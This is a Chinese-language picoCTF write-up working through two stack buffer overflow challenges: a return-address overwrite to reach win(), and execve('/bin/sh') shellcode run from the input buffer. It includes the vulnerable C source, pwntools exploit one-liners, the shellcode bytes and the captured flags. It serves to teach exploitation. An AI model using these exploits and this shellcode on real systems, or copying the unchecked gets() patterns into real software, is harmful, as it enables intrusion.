今天的題目也是利用buffer overflow,在輸入中塞一些東西,若沒有經過檢查,可能整個程式的流程就被控制了,或是可以在裡面開shell做一些不合法的事情,寫程式對於這些檢查、控制沒有注意的話,對整個程式、系統都是非常危險的!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
這裡可以看到要呼叫win這個函式才能print出Flag,不過這邊並沒有呼叫這個函式,但可以看到,vuln有使用到gets且也沒有做任何邊界檢查,所以我們可以利用這裡使她overflow,在透過overflow可以蓋掉return address,將retrun address改成win的位址,就可以成功印出Flag
還記得在reverse有講過stack的概念嗎,這邊會使用到
上面灰色的八格代表buf的size有32 bytes,因為沒有對輸入進行檢查,所以可以利用buffer overflow 將return address的值更改,那一般來說都不會剛好,所以這邊我裡用pwntools的一個函式來求出buf的內容到retrun address中有多少個byte
cyclic(100)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
這個函式會生成這樣子的一個字串,那我們就丟到程式裡面看看
$ ./vuln
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
可以看到return address 被0x6161616c這個資料蓋過去了,所以可以知道是 laaa這邊出錯了,那要求他的位移量的話
cyclic_find('laaa')
44
所以這邊我們要輸入44個字再加上win的位址 0x080485cb 就可以在結束函式後retrun 到 win後就可以拿到Flag了,不過這邊我們不能直接輸入,因為080485cb他不是可視字元,這邊就利用p32這個函式,可以轉換成little endian 16進位的方式,所以執行後如下,直接利用python -c可以執行後面引號內的程式碼,最後再透過pipe送給./vuln,就可以成功拿到Flag了
$ python -c "from pwn import *; print('A'*44+p32(0x080485cb))" |./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy3656a9b3}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
這題是在說可以在輸入的時候塞入一些可以執行shell的指令,而且也沒有做邊界檢查,所以我們可以在輸入的內容加入開啟shell的指令,也就是執行/bin/sh
這個指令,以下提供這個指令的machine code
\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x89 \ xc1 \ x89 \ xc2 \ xb0 \ x0b \ xcd \ x80 \ x31 \ xc0 \ x40 \ xcd \ x80
只要我們將串當作輸入,就可以在程式內打開shell進行一些操作
$ (echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./vuln
Enter a string!
1�Ph//shh/bin�����°
1�@̀
Thanks! Executing now...
ls
flag.txt vuln vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_b766002c}
這裡可以看到在程式內部shell被開起來,並且利用shell將flag檔案印出來